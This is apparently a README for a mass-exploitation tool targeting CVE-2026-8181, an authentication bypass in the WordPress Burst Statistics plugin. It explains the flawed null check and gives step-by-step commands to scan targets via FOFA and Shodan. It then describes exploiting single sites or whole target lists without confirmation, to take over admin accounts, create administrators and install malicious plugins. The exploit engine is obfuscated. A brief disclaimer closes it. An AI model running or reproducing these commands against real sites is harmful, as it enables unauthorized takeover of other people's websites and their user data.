CVE-2026-8181 - Bypass de Autenticação do Burst Statistics

CVSS 9.8 (Crítico) — Bypass de autenticação para assumir conta de administrador

Descrição

CVE-2026-8181 é uma vulnerabilidade de Bypass de Autenticação no plugin WordPress Burst Statistics versões 3.4.0 a 3.4.1.1. Este plugin é usado por mais de 200.000 sites WordPress como uma alternativa de analytics amigável à privacidade ao Google Analytics.

Esta vulnerabilidade permite que um atacante não autenticado que conheça o nome de usuário do admin:

• Obter a Application Password do admin em 1 requisição HTTP
• Executar Admin Account Takeover completo
• Criar uma nova conta de administrador
• Acessar todos os dados do site (incluindo WooCommerce, dados de usuários, etc.)
• Instalar plugin malicioso / RCE

Causa Técnica

A função is_mainwp_authenticated() em class-mainwp-proxy.php valida incorretamente o valor de retorno de wp_authenticate_application_password(). Essa função retorna null (em vez de WP_Error) quando chamada fora do contexto da REST API, e o código apenas verifica is_wp_error(). Como null não é WP_Error, a autenticação é considerada bem-sucedida.

Recursos da Ferramenta

• GUI Moderna — Tema escuro, layout compacto, 3 abas (Scan, Exploit, Log)
• Scanner em Massa — Procure alvos via API FOFA, API Shodan ou lista de arquivos
• Exploit Automático — Exploit em massa com multithreading
• Modo CLI — Pode rodar sem GUI para automação

Requisitos

• Python 3.11 (obrigatório — arquivo .pyd compilado para Python 3.11)
• Windows 10/11

Instalação e Uso

# 1. Clone repository
git clone https://github.com/YOUR_USERNAME/CVE-2026-8181.git
cd CVE-2026-8181

# 2. Install dependencies
py -3.11 -m pip install -r requirements.txt

# 3. Siapkan .env (untuk scan via FOFA / Shodan)
echo [email protected] > .env
echo FOFA_KEY=your_fofa_key >> .env
echo SHODAN_KEY=your_shodan_key >> .env

# 4. Jalankan (pilih salah satu):

#    Modern GUI (recommended)
py -3.11 gui_modern.py

#    Atau double-click run.bat
run.bat

#    Atau CLI langsung exploit satu target
py -3.11 CVE-2026-8181.py -t https://target.com -u admin --no-confirm

#    Atau exploit massal dari file
py -3.11 CVE-2026-8181.py -l targets_output.txt -u admin --no-confirm

#    Atau scan target dulu, baru exploit
py -3.11 finder.py --file list.txt
py -3.11 CVE-2026-8181.py -l targets_output.txt -u admin --no-confirm

Tutorial Passo a Passo

Passo 1: Execute as Ferramentas

Clique duas vezes em run.bat ou execute:

py -3.11 gui_modern.py

Visual da GUI moderna do CVE-2026-8181 com 3 abas

Passo 2: Escanear Alvo e Explorar

Na aba Scan: escolha a fonte dos alvos (FOFA/Shodan do .env, arquivo ou manual) → clique em SCAN TARGETS Na aba Exploit: insira o nome de usuário do admin → clique em EXPLOIT

A ferramenta encontrou alvos vulneráveis e prontos para exploit

Passo 3: Acessar o Painel Admin do WordPress

Se o exploit for bem-sucedido, o atacante obtém acesso total como administrador:

Painel do WordPress admin após exploração bem-sucedida

Estrutura de Arquivos

CVE-2026-8181/
├── CVE-2026-8181.py          # Main exploit engine (PyArmor)
├── gui_modern.py             # Modern GUI wrapper (recommended)
├── finder.py                 # Target scanner (FOFA / Shodan / File)
├── run.bat                   # One-click launcher
├── requirements.txt          # Python dependencies
├── .env                      # API keys (gitignored)
├── .gitignore
├── Dork.txt                  # Google Dork
├── pyarmor_runtime_000000/   # PyArmor runtime (Python 3.11)
├── system/                   # Source modules (obfuscated)
└── img/                      # Screenshots tutorial
    ├── 1.png
    ├── 2.png
    └── 3.png

Como Obter uma Chave de API

FOFA (fofa.info)

1. Cadastre-se em https://fofa.info
2. Faça login → https://fofa.info/userInfo
3. Copie o Email e a API Key → coloque no .env

Shodan (shodan.io)

1. Cadastre-se em https://account.shodan.io/register
2. Faça login → https://account.shodan.io
3. Copie a API Key → coloque no .env

Opções de CLI (CVE-2026-8181.py)

Disclaimer

Apenas para fins educacionais e testes de penetração autorizados. O uso sem permissão em sistemas que não são seus é ilegal. Use somente em sites que você possui ou para os quais tenha autorização por escrito.